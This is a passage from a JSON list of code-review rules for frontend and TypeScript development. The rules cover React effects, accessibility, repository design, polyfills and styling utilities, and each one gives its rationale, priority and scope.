ambiguity. The consumer cannot distinguish between a legitimate empty value (e.g., a free product) and missing data (e.g., price not set).","priority":"p1","scope":"universal"},{"title":"Avoid specialized repository methods for filter combinations","rule":"Do not create specialized repository methods for specific filter combinations; rely on chainable (fluent) methods and a single terminal execution method.","apiRule":"Do not create specialized repository methods for specific filter combinations; rely on chainable (fluent) methods and a single terminal execution method. This approach leads to method explosion (e.g., `getTeasersByCategory`, `getTeasersByTag`). It duplicates the terminal logic (fetching and mapping) in every specialized method, making the class harder to maintain. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. In a Repository pattern, separate 'criteria building' (chainable methods that return `this`) from 'execution' (methods that return data). Exceptions: Balance against encapsulate-query-mapping-in-repositories: avoid one-off filter-combo methods; prefer composable query building for ad-hoc filters.","whyItMatters":"This approach leads to method explosion (e.g., `getTeasersByCategory`, `getTeasersByTag`). It duplicates the terminal logic (fetching and mapping) in every specialized method, making the class harder to maintain.","priority":"p1","scope":"stack-specific"},{"title":"Encapsulate specific query and mapping chains in repositories","rule":"Avoid manually chaining query filters and mapping logic inside controllers; extract them into specific repository methods.","apiRule":"Avoid manually chaining query filters and mapping logic inside controllers; extract them into specific repository methods. The controller knows too much about how to fetch and transform data. It manually chains filter methods and maps the result to a DTO, making this logic hard to reuse and test in isolation. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Balance against avoid-specialized-repository-methods-for-filters: still move reusable query+mapping chains into the repository; don't leave raw chaining in controllers.","whyItMatters":"The controller knows too much about how to fetch and transform data. It manually chains filter methods and maps the result to a DTO, making this logic hard to reuse and test in isolation.","priority":"p1","scope":"stack-specific"},{"title":"Enforce consistent query behavior across data sources","rule":"Ensure primary and fallback data providers use identical matching logic (exact vs. fuzzy) to prevent unpredictable results.","apiRule":"Ensure primary and fallback data providers use identical matching logic (exact vs. fuzzy) to prevent unpredictable results. The primary source uses strict exact matching, while the fallback uses loose fuzzy matching. This creates inconsistent behavior where the result set's quality changes drastically depending solely on which provider answers the request. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This often occurs when falling back from a specialized search engine (like Elasticsearch) to a general-purpose database (like SQL). Explicitly test the fallback path to ensure semantics align.","whyItMatters":"The primary source uses strict exact matching, while the fallback uses loose fuzzy matching. This creates inconsistent behavior where the result set's quality changes drastically depending solely on which provider answers the request.","priority":"p1","scope":"stack-specific"},{"title":"Prefer method chaining for fluent APIs","rule":"Utilize method chaining when working with fluent interfaces (like query builders) to avoid unnecessary intermediate variables.","apiRule":"Utilize method chaining when working with fluent interfaces (like query builders) to avoid unnecessary intermediate variables. This code creates an intermediate variable solely to mutate its state step-by-step. It breaks the visual flow and adds imperative noise to what should be a declarative query definition. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against prefer-readable-steps-over-complex-single-liners: chain when each step is a simple fluent call on the same builder; readability stays high.","whyItMatters":"This code creates an intermediate variable solely to mutate its state step-by-step. It breaks the visual flow and adds imperative noise to what should be a declarative query definition.","priority":"p2","scope":"universal"},{"title":"Design clean, semantic API routes","rule":"Avoid file extensions in URL paths and organize routes by access scope (public vs. private) to improve maintainability and security.","apiRule":"Avoid file extensions in URL paths and organize routes by access scope (public vs. private) to improve maintainability and security. The route uses a file extension (`.json`), which is a legacy practice, and is placed in a generic `commonRouter`. This mixes public and private logic and creates brittle, static-file-like URLs. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Only use file extensions in URLs if the endpoint explicitly supports multiple return formats (e.g., .xml vs .json) dynamically. Otherwise, rely on 'Accept' headers.","whyItMatters":"The route uses a file extension (`.json`), which is a legacy practice, and is placed in a generic `commonRouter`. This mixes public and private logic and creates brittle, static-file-like URLs.","priority":"p1","scope":"stack-specific"},{"title":"Extract derived values into named variables","rule":"Compute derived values (like URLs, labels, or config) in the component body instead of embedding logic or anonymous functions inside JSX props.","apiRule":"Compute derived values (like URLs, labels, or config) in the component body instead of embedding logic or anonymous functions inside JSX props. Defining logic inside the JSX prop (especially anonymous functions) mixes calculation with presentation. It makes the component harder to read and the URL calculation cannot be reused or easily tested. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Defining logic inside the JSX prop (especially anonymous functions) mixes calculation with presentation. It makes the component harder to read and the URL calculation cannot be reused or easily tested.","priority":"p2","scope":"stack-specific"},{"title":"Trigger side effects in event handlers, not useEffect","rule":"Place logic triggered by user interactions directly in event handlers instead of watching state with useEffect.","apiRule":"Place logic triggered by user interactions directly in event handlers instead of watching state with useEffect. Using useEffect to sync state with callbacks creates a 'waterfall' of updates. The state changes, React renders, then the effect runs. This makes code harder to follow and can trigger redundant renders or behaviors. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. See React docs: 'You Might Not Need an Effect'. If you need to handle the initial state (on mount), separate that logic or use a specific initialization effect, but keep user-triggered updates in handlers.","whyItMatters":"Using useEffect to sync state with callbacks creates a 'waterfall' of updates. The state changes, React renders, then the effect runs. This makes code harder to follow and can trigger redundant renders or behaviors.","priority":"p1","scope":"stack-specific"},{"title":"Decouple analytics context from reusable components","rule":"Avoid hardcoding specific tracking values inside reusable UI components to ensure they remain context-agnostic.","apiRule":"Avoid hardcoding specific tracking values inside reusable UI components to ensure they remain context-agnostic. The component hardcodes the tracking type to 'offers', assuming it will only ever be used in that context. If this popup is later used on a 'profile' or 'article' page, the analytics data will be incorrect. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The component hardcodes the tracking type to 'offers', assuming it will only ever be used in that context. If this popup is later used on a 'profile' or 'article' page, the analytics data will be incorrect.","priority":"p2","scope":"stack-specific"},{"title":"Encapsulate third-party integration logic in standalone functions","rule":"Avoid inline interaction with third-party globals (like analytics) inside components; extract them into named service functions.","apiRule":"Avoid inline interaction with third-party globals (like analytics) inside components; extract them into named service functions. The component directly accesses global window objects and constructs complex payloads inline. This makes the code hard to read, impossible to reuse, and tightly coupled to the specific analytics vendor. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The component directly accesses global window objects and constructs complex payloads inline. This makes the code hard to read, impossible to reuse, and tightly coupled to the specific analytics vendor.","priority":"p2","scope":"universal"},{"title":"Prefer anchor tags for navigation over buttons","rule":"Use <a> tags for navigation instead of buttons with onClick handlers to ensure accessibility, SEO, and native browser behavior.","apiRule":"Use <a> tags for navigation instead of buttons with onClick handlers to ensure accessibility, SEO, and native browser behavior. Using a button with an imperative `onClick` handler (like `window.open`) breaks native browser features such as 'Open in new tab', status bar URL preview, and SEO crawling. It also confuses screen readers by announcing an action rather than navigation. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Using a button with an imperative `onClick` handler (like `window.open`) breaks native browser features such as 'Open in new tab', status bar URL preview, and SEO crawling. It also confuses screen readers by announcing an action rather than navigation.","priority":"p1","scope":"stack-specific"},{"title":"Prefer explicit checks for non-default variants","rule":"Check explicitly for specific variants instead of relying on negative checks against a default. This ensures a safe fallback for undefined or future values.","apiRule":"Check explicitly for specific variants instead of relying on negative checks against a default. This ensures a safe fallback for undefined or future values. Using a negative check (`!== 'Finansavisen'`) means that if `product` is undefined, null, or a new future value, the code incorrectly defaults to the specific variant logic ('KapitalLogo'). Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Using a negative check (`!== 'Finansavisen'`) means that if `product` is undefined, null, or a new future value, the code incorrectly defaults to the specific variant logic ('KapitalLogo').","priority":"p2","scope":"universal"},{"title":"Replace nested ternaries with configuration helpers","rule":"Avoid complex nested ternary operators for value selection by using a helper function that accepts a configuration object.","apiRule":"Avoid complex nested ternary operators for value selection by using a helper function that accepts a configuration object. Nested ternaries make the code hard to read and force you to repeat the conditional logic for every prop. Adding a new case requires modifying every usage site. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. This pattern is especially useful when switching themes, brands, or configurations based on a global state.","whyItMatters":"Nested ternaries make the code hard to read and force you to repeat the conditional logic for every prop. Adding a new case requires modifying every usage site.","priority":"p2","scope":"stack-specific"},{"title":"Extract complex render props into named components","rule":"Avoid defining complex UI logic inline within render props. Extract them into separate components to improve readability and maintainability.","apiRule":"Avoid defining complex UI logic inline within render props. Extract them into separate components to improve readability and maintainability. Defining the tooltip UI inline within the render prop clutters the parent component, making it hard to read and maintain. The logic for rendering the tooltip is mixed with the chart configuration, and the anonymous function is redefined on every render. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Defining the tooltip UI inline within the render prop clutters the parent component, making it hard to read and maintain. The logic for rendering the tooltip is mixed with the chart configuration, and the anonymous function is redefined on every render.","priority":"p2","scope":"stack-specific"},{"title":"Centralize component configuration","rule":"Move static visual parameters, magic numbers, and style constants into a dedicated configuration object to separate concerns and improve maintainability.","apiRule":"Move static visual parameters, magic numbers, and style constants into a dedicated configuration object to separate concerns and improve maintainability. Visual constants like colors, font sizes, and margins are hardcoded directly into the JSX. This makes the component code noisy and difficult to maintain if design tokens change. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Visual constants like colors, font sizes, and margins are hardcoded directly into the JSX. This makes the component code noisy and difficult to maintain if design tokens change.","priority":"p2","scope":"stack-specific"},{"title":"Prefer React Router state over manual URL parsing","rule":"Use hooks like `useMatches` or `useMatch` with stable route IDs to detect active routes instead of manually parsing the `pathname` string.","apiRule":"Use hooks like `useMatches` or `useMatch` with stable route IDs to detect active routes instead of manually parsing the `pathname` string. Manually parsing `pathname` using Regex or string methods is fragile and duplicates routing logic. If the route path changes in the configuration, this logic will silently break. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Ensure you explicitly assign unique `id` properties to your route definitions in `createBrowserRouter` or similar configs for this pattern to work reliably.","whyItMatters":"Manually parsing `pathname` using Regex or string methods is fragile and duplicates routing logic. If the route path changes in the configuration, this logic will silently break.","priority":"p2","scope":"stack-specific"},{"title":"Prevent Flash of Unwanted Content by defaulting to hidden","rule":"Set initial element visibility to hidden when controlling it via client-side JavaScript to avoid UI flickering.","apiRule":"Set initial element visibility to hidden when controlling it via client-side JavaScript to avoid UI flickering. The element is visible by default in the HTML. When the JavaScript runs (hydration/effect), it hides the element, but users perceive a jarring 'flash' of the content disappearing immediately after page load. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Alternatively, moving the element entirely into the React component tree (instead of manipulating the DOM externally) is often a cleaner architectural solution if possible.","whyItMatters":"The element is visible by default in the HTML. When the JavaScript runs (hydration/effect), it hides the element, but users perceive a jarring 'flash' of the content disappearing immediately after page load.","priority":"p2","scope":"universal"},{"title":"Compute derived values outside useEffect","rule":"Calculate derived conditions in the render scope and pass primitives to useEffect to prevent unnecessary re-runs.","apiRule":"Calculate derived conditions in the render scope and pass primitives to useEffect to prevent unnecessary re-runs. The logic is inside the effect, forcing it to depend on the entire `location` object. Since objects often change reference on every render, the effect runs more often than necessary. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The logic is inside the effect, forcing it to depend on the entire `location` object. Since objects often change reference on every render, the effect runs more often than necessary.","priority":"p1","scope":"stack-specific"},{"title":"Avoid generic variable names like 'data'","rule":"Variable names must describe the specific domain concept they hold. Generic terms like 'data', 'info', or 'items' fail to convey intent and make code harder to understand.","apiRule":"Variable names must describe the specific domain concept they hold. Generic terms like 'data', 'info', or 'items' fail to convey intent and make code harder to understand. The names 'data' and 'hasData' are semantically empty because everything in software is data. They force the reader to check the assignment source to understand what strictly domain-specific information is being handled. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The names 'data' and 'hasData' are semantically empty because everything in software is data. They force the reader to check the assignment source to understand what strictly domain-specific information is being handled.","priority":"p2","scope":"universal"},{"title":"Omit default type attributes in HTML5","rule":"Do not specify `type=\"text/javascript\"` for scripts or `type=\"text/css\"` for styles, as they are implied defaults in HTML5.","apiRule":"Do not specify `type=\"text/javascript\"` for scripts or `type=\"text/css\"` for styles, as they are implied defaults in HTML5. The `type` attribute is explicitly set to the default values. This is legacy syntax that adds unnecessary verbosity to the markup without adding any value. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The `type` attribute is explicitly set to the default values. This is legacy syntax that adds unnecessary verbosity to the markup without adding any value.","priority":"p2","scope":"universal"},{"title":"Always wrap React root in StrictMode","rule":"Wrap the application root in React.StrictMode to catch potential problems, unsafe lifecycles, and impure renderers during development.","apiRule":"Wrap the application root in React.StrictMode to catch potential problems, unsafe lifecycles, and impure renderers during development. Mounting the application without StrictMode hides potential issues like impure side effects, deprecated lifecycle usage, or unsafe contexts, making debugging harder. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. StrictMode checks run only in development mode; they do not impact production performance.","whyItMatters":"Mounting the application without StrictMode hides potential issues like impure side effects, deprecated lifecycle usage, or unsafe contexts, making debugging harder.","priority":"p2","scope":"stack-specific"},{"title":"Prefer logical AND for conditional object properties","rule":"Use logical AND (&&) instead of the ternary operator when conditionally spreading properties into an object to reduce verbosity.","apiRule":"Use logical AND (&&) instead of the ternary operator when conditionally spreading properties into an object to reduce verbosity. The ternary syntax requires explicitly returning an empty object ({}) for the false case. This adds unnecessary visual noise and verbosity for a simple conditional inclusion. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If falsy values like 0 are valid, use explicit checks or ternaries to avoid dropping them. Balance against prefer-explicit-null-over-conditional-spreads: conditionally spread to omit a key when an absent key is the intended, consumer-safe shape.","whyItMatters":"The ternary syntax requires explicitly returning an empty object ({}) for the false case. This adds unnecessary visual noise and verbosity for a simple conditional inclusion.","priority":"p2","scope":"universal"},{"title":"Wrap global mutations in try-finally for safe test cleanup","rule":"When modifying global objects (prototypes, window) in a test, use try-finally to guarantee cleanup even upon failure.","apiRule":"When modifying global objects (prototypes, window) in a test, use try-finally to guarantee cleanup even upon failure. If the assertion fails, the execution stops immediately, and the global `String.prototype` is never restored. This causes 'test pollution', where subsequent tests fail mysteriously because the environment remains broken. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. While `beforeEach`/`afterEach` hooks handle common setups, `try...finally` is often cleaner for single-test specific mutations like checking polyfill behavior.","whyItMatters":"If the assertion fails, the execution stops immediately, and the global `String.prototype` is never restored. This causes 'test pollution', where subsequent tests fail mysteriously because the environment remains broken.","priority":"p1","scope":"universal"},{"title":"Colocate polyfills with their dependent libraries","rule":"Wrap libraries that require polyfills in a dedicated module to encapsulate side effects and clarify dependencies.","apiRule":"Wrap libraries that require polyfills in a dedicated module to encapsulate side effects and clarify dependencies. The polyfill is imported in a generic utility file. It is unclear which library requires it, and if 'legacyLib' is removed in the future, the polyfill will likely remain as dead code because the relationship is not explicit. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This pattern effectively implements the Facade pattern for external dependencies that require environment patching.","whyItMatters":"The polyfill is imported in a generic utility file. It is unclear which library requires it, and if 'legacyLib' is removed in the future, the polyfill will likely remain as dead code because the relationship is not explicit.","priority":"p1","scope":"universal"},{"title":"Prefer standard polyfill libraries","rule":"Avoid manually implementing polyfills in source code; use granular imports from established libraries like core-js to ensure correctness and maintainability.","apiRule":"Avoid manually implementing polyfills in source code; use granular imports from established libraries like core-js to ensure correctness and maintainability. Copying and pasting polyfill logic into the source code is risky. It creates unmaintained code that may miss edge cases, lacks updates, and clutters the repository. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If a manual polyfill is strictly necessary (e.g., due to extreme bundle size constraints preventing even granular imports), you must explicitly document the source/origin of the implementation in a comment.","whyItMatters":"Copying and pasting polyfill logic into the source code is risky. It creates unmaintained code that may miss edge cases, lacks updates, and clutters the repository.","priority":"p1","scope":"universal"},{"title":"Avoid manual DOM focus hacks","rule":"Avoid imperative DOM calls like .blur() or .stopPropagation() to control focus; use semantic HTML or accessible libraries instead.","apiRule":"Avoid imperative DOM calls like .blur() or .stopPropagation() to control focus; use semantic HTML or accessible libraries instead. Manually calling `blur()` to prevent the mobile keyboard or manipulate focus flow is a brittle hack. It confuses screen readers, breaks standard keyboard navigation, and fights against the browser's native behavior. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Using 'readonly' on an input is sometimes acceptable, but if the element solely functions as a button to open something else, a `<button>` tag is semantically superior.","whyItMatters":"Manually calling `blur()` to prevent the mobile keyboard or manipulate focus flow is a brittle hack. It confuses screen readers, breaks standard keyboard navigation, and fights against the browser's native behavior.","priority":"p1","scope":"stack-specific"},{"title":"Target document for DOM events and window for viewport events","rule":"Attach listeners to `document` for content interactions (clicks, key presses) and reserve `window` for viewport events (resize, scroll) to maintain semantic clarity.","apiRule":"Attach listeners to `document` for content interactions (clicks, key presses) and reserve `window` for viewport events (resize, scroll) to maintain semantic clarity. Attaching DOM interaction events (like clicks or key presses) to `window` is semantically incorrect because `window` represents the global browser frame. It works due to bubbling but muddies the distinction between viewport state and document content. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Attaching DOM interaction events (like clicks or key presses) to `window` is semantically incorrect because `window` represents the global browser frame. It works due to bubbling but muddies the distinction between viewport state and document content.","priority":"p2","scope":"universal"},{"title":"Avoid triggering side effects on focus events","rule":"Do not trigger significant UI changes like opening modals on focus events to preserve keyboard navigation.","apiRule":"Do not trigger significant UI changes like opening modals on focus events to preserve keyboard navigation. Attaching action logic to `onFocus` forces the action to trigger merely by navigating to the element (e.g., via Tab). Immediately calling `blur()` further degrades accessibility by removing the focus indicator and preventing screen readers from announcing the element. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Attaching action logic to `onFocus` forces the action to trigger merely by navigating to the element (e.g., via Tab). Immediately calling `blur()` further degrades accessibility by removing the focus indicator and preventing screen readers from announcing the element.","priority":"p1","scope":"stack-specific"},{"title":"Prefer AbortController for event cleanup","rule":"Use AbortController signals to manage and clean up event listeners instead of manually pairing addEventListener with removeEventListener.","apiRule":"Use AbortController signals to manage and clean up event listeners instead of manually pairing addEventListener with removeEventListener. Manually removing event listeners requires ensuring the function reference passed to removeEventListener is identical to the one added. This is verbose and error-prone, especially with complex closures. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. This pattern is standard in modern browsers and also works for cleaning up fetch requests in the same effect.","whyItMatters":"Manually removing event listeners requires ensuring the function reference passed to removeEventListener is identical to the one added. This is verbose and error-prone, especially with complex closures.","priority":"p1","scope":"stack-specific"},{"title":"Prefer headless UI libraries for complex interactive components","rule":"Use battle-tested headless libraries (like Radix UI or Headless UI) for complex interactive patterns to ensure robust accessibility and focus management.","apiRule":"Use battle-tested headless libraries (like Radix UI or Headless UI) for complex interactive patterns to ensure robust accessibility and focus management. Manually implementing interactive patterns (like a button wrapping an input) often leads to invalid HTML semantics, broken keyboard navigation, and confused screen readers. It forces you to reinvent focus management and ARIA support from scratch. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Common libraries include Radix UI, Headless UI, and React Aria. Use them for Modals, Popovers, Dropdowns, and Tabs.","whyItMatters":"Manually implementing interactive patterns (like a button wrapping an input) often leads to invalid HTML semantics, broken keyboard navigation, and confused screen readers. It forces you to reinvent focus management and ARIA support from scratch.","priority":"p1","scope":"stack-specific"},{"title":"Avoid redundant preventDefault","rule":"Do not use event.preventDefault() if declarative HTML attributes like readOnly or disabled already enforce the desired behavior.","apiRule":"Do not use event.preventDefault() if declarative HTML attributes like readOnly or disabled already enforce the desired behavior. Using preventDefault() here is unnecessary because the 'readOnly' attribute already prevents the user from modifying the value. It adds noise and suggests special handling that isn't actually occurring. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If the intent is to create a button that looks like an input, consider using a semantic <button> styled as an input instead to ensure better accessibility and event handling.","whyItMatters":"Using preventDefault() here is unnecessary because the 'readOnly' attribute already prevents the user from modifying the value. It adds noise and suggests special handling that isn't actually occurring.","priority":"p1","scope":"stack-specific"},{"title":"Restrict boolean prefixes to boolean values","rule":"Variables named with boolean prefixes (is, has, should) must strictly hold boolean values to ensure code clarity.","apiRule":"Variables named with boolean prefixes (is, has, should) must strictly hold boolean values to ensure code clarity. The variable `hasLabel` uses the `has` prefix, which conventionally indicates a boolean, but it holds a string. This mismatch creates confusion about the variable's type. Additionally, `tickerCategory` describes where the data is used (ticker) rather than what the data is (article category), making it misleading. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The variable `hasLabel` uses the `has` prefix, which conventionally indicates a boolean, but it holds a string. This mismatch creates confusion about the variable's type. Additionally, `tickerCategory` describes where the data is used (ticker) rather than what the data is (article category), making it misleading.","priority":"p2","scope":"universal"},{"title":"Replace magic values with named collection constants","rule":"Avoid hardcoding specific string or number literals in conditional logic. Use named arrays or Sets to define the business rule, making the code more readable and extensible.","apiRule":"Avoid hardcoding specific string or number literals in conditional logic. Use named arrays or Sets to define the business rule, making the code more readable and extensible. Hardcoding specific values like '2025' directly in the control flow makes the code brittle and the intent unclear. If the list of excluded years grows, the condition becomes messy and hard to read. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. For small lists, an array with `.includes()` is sufficient. For large datasets, consider using a `Set` for O(1) lookup performance.","whyItMatters":"Hardcoding specific values like '2025' directly in the control flow makes the code brittle and the intent unclear. If the list of excluded years grows, the condition becomes messy and hard to read.","priority":"p2","scope":"universal"},{"title":"Prevent layout shifts with aspect-ratio on images","rule":"Always define `aspect-ratio` and use `max-width` for responsive images to reserve layout space and prevent Cumulative Layout Shift (CLS).","apiRule":"Always define `aspect-ratio` and use `max-width` for responsive images to reserve layout space and prevent Cumulative Layout Shift (CLS). Using only `width: 100%` and `height: auto` means the browser cannot calculate the image's height until the file is fully downloaded. This causes the page layout to jump (CLS) as the image loads. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If your image component already reserves space via width/height attributes or intrinsic sizing, explicit aspect-ratio may be redundant.","whyItMatters":"Using only `width: 100%` and `height: auto` means the browser cannot calculate the image's height until the file is fully downloaded. This causes the page layout to jump (CLS) as the image loads.","priority":"p1","scope":"universal"},{"title":"Prefer max-width over width for fluid media","rule":"Use max-width to ensure images respond to container size without forcing them to stretch beyond their natural resolution.","apiRule":"Use max-width to ensure images respond to container size without forcing them to stretch beyond their natural resolution. Setting 'width: 100%' forces the element to fill the container width, causing pixelation if the image is naturally smaller. Adding 'max-width: 100%' becomes redundant because the width is already locked to 100%. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you intentionally want stretching (e.g., decorative backgrounds), width: 100% can be acceptable.","whyItMatters":"Setting 'width: 100%' forces the element to fill the container width, causing pixelation if the image is naturally smaller. Adding 'max-width: 100%' becomes redundant because the width is already locked to 100%.","priority":"p2","scope":"universal"},{"title":"Prefer concise alt text without redundancy","rule":"Ensure alt text accurately mirrors the image content or function without adding redundant context or filler words.","apiRule":"Ensure alt text accurately mirrors the image content or function without adding redundant context or filler words. The alt text includes filler words (\"Official list of\") that likely aren't part of the image's visual text. This adds noise for screen reader users who already know the site context. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The alt text includes filler words (\"Official list of\") that likely aren't part of the image's visual text. This adds noise for screen reader users who already know the site context.","priority":"p1","scope":"stack-specific"},{"title":"Prefer clsx for conditional class names","rule":"Use the `clsx` utility to construct className strings conditionally instead of manual string concatenation.","apiRule":"Use the `clsx` utility to construct className strings conditionally instead of manual string concatenation. Manually concatenating strings for class names is error-prone. It is easy to miss a leading space (e.g., resulting in 'btn-primaryactive' instead of 'btn-primary active') and the syntax becomes messy with multiple conditions. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Always install `clsx` if not present. It is lighter than `classnames` but serves the same purpose. Exceptions: If the class list is static or the project already has a tiny utility, adding clsx may be unnecessary.","whyItMatters":"Manually concatenating strings for class names is error-prone. It is easy to miss a leading space (e.g., resulting in 'btn-primaryactive' instead of 'btn-primary active') and the syntax becomes messy with multiple conditions.","priority":"p2","scope":"stack-specific"},{"title":"Maintain a single source of truth for domain configuration","rule":"Centralize domain definitions (like lists or resources) into a single shared configuration to prevent duplication and inconsistency across environments.","apiRule":"Centralize domain definitions (like lists or resources) into a single shared configuration to prevent duplication and inconsistency across environments. The list definitions are duplicated across multiple environment files, making them hard to keep in sync. Additionally, business logic relies on hardcoded strings (`slug === 'top-400'`) instead of configuration metadata. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. In large monorepos, use a shared package or a common configuration folder that both 'apps' (environments) can import from.","whyItMatters":"The list definitions are duplicated across multiple environment files, making them hard to keep in sync. Additionally, business logic relies on hardcoded strings (`slug === 'top-400'`) instead of configuration metadata.","priority":"p1","scope":"universal"},{"title":"Match alt text literally to text within the image","rule":"For images containing text, the alt attribute must mirror that text exactly to ensure equivalent access for screen readers.","apiRule":"For images containing text, the alt attribute must mirror that text exactly to ensure equivalent access for screen readers. The `alt` text describes the resource conceptually or uses a translation that doesn't match the visual text. Screen reader users will hear something different from what is displayed. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. If the image is purely decorative and contains no meaningful text, use an empty alt attribute (alt=\"\").","whyItMatters":"The `alt` text describes the resource conceptually or uses a translation that doesn't match the visual text. Screen reader users will hear something different from what is displayed.","priority":"p1","scope":"stack-specific"},{"title":"Optimize SVG assets before committing","rule":"Always optimize SVG files using tools like SVGO to remove unnecessary metadata and reduce bundle size.","apiRule":"Always optimize SVG files using tools like SVGO to remove unnecessary metadata and reduce bundle size. Raw SVG exports often contain editor metadata, comments, hidden groups, and verbose attributes that are unnecessary for rendering in the browser. This bloats the application bundle. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. You can run 'pnpm dlx svgo path/to/file.svg' or use an online optimizer like SVGOMG before adding the file to the project.","whyItMatters":"Raw SVG exports often contain editor metadata, comments, hidden groups, and verbose attributes that are unnecessary for rendering in the browser. This bloats the application bundle.","priority":"p1","scope":"universal"},{"title":"Prefer const assertions for literals over explicit type annotations","rule":"Use `as const` for literals in conditionals to preserve their specific type, enabling cleaner type inference without manual annotations.","apiRule":"Use `as const` for literals in conditionals to preserve their specific type, enabling cleaner type inference without manual annotations. Manually annotating the variable type (`: AccessLevel`) adds noise and redundancy. It forces you to maintain the type definition on the variable, rather than letting TypeScript verify compatibility through inference. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Manually annotating the variable type (`: AccessLevel`) adds noise and redundancy. It forces you to maintain the type definition on the variable, rather than letting TypeScript verify compatibility through inference.","priority":"p1","scope":"stack-specific"},{"title":"Prefer declarative serialization for response shaping","rule":"Use a configuration-based serializer to handle edge cases (like omitting fields) instead of hardcoding conditional logic in controllers.","apiRule":"Use a configuration-based serializer to handle edge cases (like omitting fields) instead of hardcoding conditional logic in controllers. The controller contains ad-hoc imperative logic to mutate the response for specific cases. This mixes business rules with data retrieval and makes the API response shape unpredictable and harder to test. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Commonly used for handling backward compatibility or hiding specific fields (e.g., sensitive data or empty values) for certain resource versions.","whyItMatters":"The controller contains ad-hoc imperative logic to mutate the response for specific cases. This mixes business rules with data retrieval and makes the API response shape unpredictable and harder to test.","priority":"p1","scope":"stack-specific"},{"title":"Prefer Object.groupBy for data grouping","rule":"Use the standardized Object.groupBy method instead of manual iteration to group array items.","apiRule":"Use the standardized Object.groupBy method instead of manual iteration to group array items. Manually initializing an object, checking for key existence, and pushing to an array is imperative boilerplate. It creates noise and increases the chance of minor bugs. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Requires 'ES2024' or newer in your tsconfig 'lib' setting. Use Map.groupBy if you need keys that are not strings. Exceptions: Use Map.groupBy when you need non-string keys, or stick with manual grouping if you must support runtimes before ES2024.","whyItMatters":"Manually initializing an object, checking for key existence, and pushing to an array is imperative boilerplate. It creates noise and increases the chance of minor bugs.","priority":"p2","scope":"stack-specific"},{"title":"Limit the scope of try-catch blocks","rule":"Wrap only unstable code (like I/O) in try-catch blocks, keeping data transformation logic outside.","apiRule":"Wrap only unstable code (like I/O) in try-catch blocks, keeping data transformation logic outside. The entire logic is wrapped in `try-catch`. If the mapping logic throws a `TypeError` (e.g., accessing properties on undefined), it is caught and treated as a fetch failure, hiding the actual bug. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The entire logic is wrapped in `try-catch`. If the mapping logic throws a `TypeError` (e.g., accessing properties on undefined), it is caught and treated as a fetch failure, hiding the actual 